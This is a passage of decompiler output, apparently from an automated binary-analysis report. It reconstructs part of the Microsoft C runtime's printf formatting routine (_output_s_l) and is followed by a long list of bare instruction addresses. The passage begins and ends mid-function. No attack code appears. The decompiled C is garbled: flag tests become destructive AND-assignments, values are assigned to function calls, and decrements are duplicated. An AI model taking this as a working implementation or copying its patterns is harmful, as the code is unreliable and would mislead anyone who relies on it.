																			__ebp + 0x14 = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E004284E0(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00434360(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004284A0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E004284A0(__ebp + 0x14);
																		__eax = E00434040();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E350();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																			__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ADF0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004284A0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E350();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422E40(_t543))) = 0x16;
															E00422BD0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041ADF0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BDF0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E350();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041ADF0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422E40(_t530))) = 0x16;
														E00422BD0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041ADF0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E004308C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E00430940( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x004350e7
0x004350e7
0x004350e7
0x004350e7
0x004350e7
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00435218
0x00435218
0x0043521f
0x00000000
0x00000000
0x00435221
0x00435221
0x0043522c
0x00435232
0x00435234
0x0043523a
0x0043523d
0x0043523f
0x00435245
0x0043524e
0x00435253
0x00435270
0x00435273
0x00435273
0x00435278
0x0043527d
0x0043527d
0x00435283
0x00435285
0x0043528b
0x00435291
0x00435291
0x0043529a
0x0043529a
0x00435283
0x004352a0
0x004352a4
0x004352b2
0x004352b5
0x004352b8
0x004352bf
0x004352c1
0x004352c1
0x004352a6
0x004352a6
0x004352a6
0x004352ce
0x004352ce
0x004352d4
0x004352d6
0x004352d6
0x004352dd
0x004352e0
0x004352e3
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x004352f3
0x004352f9
0x004352f9
0x004352ff
0x0043537c
0x0043537f
0x00435382
0x00435385
0x00435388
0x0043538b
0x00435391
0x00435391
0x00435397
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x004353cc
0x004353cf
0x004353cf
0x004353d2
0x004353d7
0x004353d7
0x004353dc
0x004353ee
0x004353ee
0x004353f1
0x00435403
0x00435403
0x00435406
0x00435408
0x0043540c
0x0043540c
0x004353f3
0x004353f3
0x004353f7
0x004353f7
0x004353de
0x004353de
0x004353e2
0x004353e2
0x004353dc
0x00435416
0x00435419
0x0043541c
0x00435425
0x00435425
0x00435428
0x0043542a
0x00435431
0x00435435
0x0043543e
0x00435443
0x00435446
0x0043544d
0x00435451
0x00435455
0x00435461
0x00435464
0x00435464
0x00435467
0x0043546c
0x0043546c
0x0043546f
0x00435471
0x00435478
0x0043547c
0x00435485
0x0043548a
0x0043546f
0x0043548d
0x00435491
0x00435565
0x00435565
0x0043556c
0x00435570
0x00435574
0x00435578
0x00000000
0x00435497
0x00435497
0x00435497
0x0043549b
0x00000000
0x00000000
0x004354a1
0x004354a1
0x004354ab
0x004354ae
0x004354b4
0x004354b7
0x004354bd
0x004354bd
0x004354bd
0x004354c9
0x004354cc
0x004354d2
0x004354d4
0x00000000
0x00000000
0x004354da
0x004354da
0x004354e3
0x004354ea
0x004354f4
0x004354fb
0x0043550a
0x00435516
0x00435519
0x0043551f
0x00435526
0x00435531
0x00435531
0x00000000
0x00435531
0x00435528
0x00435528
0x0043552f
0x0043553d
0x0043553d
0x00435544
0x00435548
0x00435556
0x00000000
0x0043555b
0x00000000
0x0043552f
0x00435563
0x00435580
0x00435580
0x00435587
0x0043558c
0x0043558c
0x0043558f
0x00435591
0x00435598
0x0043559c
0x004355a5
0x004355aa
0x0043558f
0x00435587
0x004355ad
0x004355ad
0x004355b1
0x004355b9
0x004355c1
0x004355c1
0x004355c8
0x004355c8
0x0043469f
0x004346a5
0x004346b2
0x004346b7
0x00000000
0x004346ca
0x004346d4
0x004346fb
0x004346e2
0x004346f3
0x004346f3
0x004346d4
0x00434705
0x0043470b
0x00434717
0x0043471a
0x00434728
0x0043472b
0x00434738
0x004347dd
0x004347e3
0x004347e9
0x004347f0
0x00000000
0x00000000
0x004347f6
0x004347fc
0x00000000
0x00434803
0x00434803
0x0043481b
0x00434820
0x00434823
0x00434825
0x004348df
0x004348f2
0x004348f7
0x00000000
0x0043482b
0x0043483e
0x00434843
0x00434849
0x0043484b
0x00434854
0x00434854
0x00434857
0x00434863
0x00434867
0x0043486d
0x0043486f
0x00434874
0x00434876
0x0043487b
0x00434880
0x00434882
0x00434887
0x0043488a
0x0043488d
0x0043488f
0x0043488f
0x0043488d
0x00434890
0x00434890
0x00434897
0x00000000
0x00434899
0x0043489e
0x004348ba
0x004348c2
0x004348cf
0x004348d4
0x00000000
0x004348d4
0x00434897
0x00000000
0x004348ff
0x004348ff
0x00434906
0x00434909
0x0043490c
0x0043490f
0x00434912
0x00434915
0x00434918
0x0043491f
0x00434926
0x00000000
0x00000000
0x00434932
0x00434932
0x00434939
0x00434945
0x00434948
0x0043494e
0x00434955
0x00000000
0x00000000
0x00434957
0x00434957
0x0043495d
0x0043495d
0x00434964
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349a7
0x004349a7
0x004349ae
0x004349b1
0x004349db
0x004349de
0x004349de
0x004349e1
0x004349e8
0x004349e8
0x004349ec
0x004349b3
0x004349b3
0x004349bf
0x004349c2
0x004349c6
0x004349c8
0x004349cb
0x004349cb
0x004349ce
0x004349d4
0x004349d6
0x004349d6
0x004349d9
0x00000000
0x00000000
0x004349f4
0x004349f4
0x00000000
0x00000000
0x00434a00
0x00434a00
0x00434a07
0x00434a0a
0x00434a2a
0x00434a2d
0x00434a2d
0x00434a37
0x00434a37
0x00434a3b
0x00434a0c
0x00434a0c
0x00434a18
0x00434a1b
0x00434a1f
0x00434a21
0x00434a21
0x00434a28
0x00000000
0x00000000
0x00434a43
0x00434a43
0x00434a4a
0x00434a56
0x00434a59
0x00434a5f
0x00434a66
0x00434b79
0x00000000
0x00434b79
0x00434a6c
0x00434a6c
0x00434a72
0x00434a72
0x00434a79
0x00000000
0x00434aaf
0x00434aaf
0x00434ab2
0x00434ab5
0x00434ab8
0x00434ae0
0x00434ae0
0x00434ae3
0x00434ae6
0x00434ae9
0x00434b0e
0x00434b0e
0x00434b11
0x00434b14
0x00434b17
0x00434b50
0x00434b61
0x00000000
0x00434b61
0x00434b19
0x00434b19
0x00434b1c
0x00434b1f
0x00434b22
0x00000000
0x00000000
0x00434b24
0x00434b24
0x00434b27
0x00434b2a
0x00434b2d
0x00000000
0x00000000
0x00434b2f
0x00434b2f
0x00434b32
0x00434b35
0x00434b38
0x00000000
0x00000000
0x00434b3a
0x00434b3a
0x00434b3d
0x00434b40
0x00434b43
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b48
0x00434b4b
0x00434b4e
0x00434b52
0x00000000
0x00434b52
0x00000000
0x00434b4e
0x00434aeb
0x00434aeb
0x00434aee
0x00434af2
0x00434af5
0x00000000
0x00434af7
0x00434afa
0x00434afd
0x00434b00
0x00434b03
0x00434b09
0x00000000
0x00434b09
0x00434af5
0x00434aba
0x00434aba
0x00434abd
0x00434ac1
0x00434ac4
0x00000000
0x00434ac6
0x00434ac9
0x00434acc
0x00434acf
0x00434ad2
0x00434ad8
0x00000000
0x00434ad8
0x00000000
0x00434b63
0x00434b66
0x00434b69
0x00000000
0x00000000
0x00434a80
0x00434a80
0x00434a83
0x00434a86
0x00434a89
0x00434aa1
0x00434aa4
0x00434aa4
0x00434aa7
0x00434a8b
0x00434a8e
0x00434a91
0x00434a97
0x00434a9c
0x00434a9c
0x00000000
0x00000000
0x00434b6e
0x00434b6e
0x00434b71
0x00434b71
0x00434b76
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b7e
0x00434b7e
0x00434b85
0x00434b91
0x00434b94
0x00434b9a
0x00434ba1
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00434ba7
0x00434bad
0x00434bad
0x00434bb4
0x00000000
0x00434f0e
0x00434f0e
0x00434f15
0x00434f1c
0x00434f1c
0x00434f1f
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc4
0x00434bc6
0x00434bc9
0x00434bc9
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
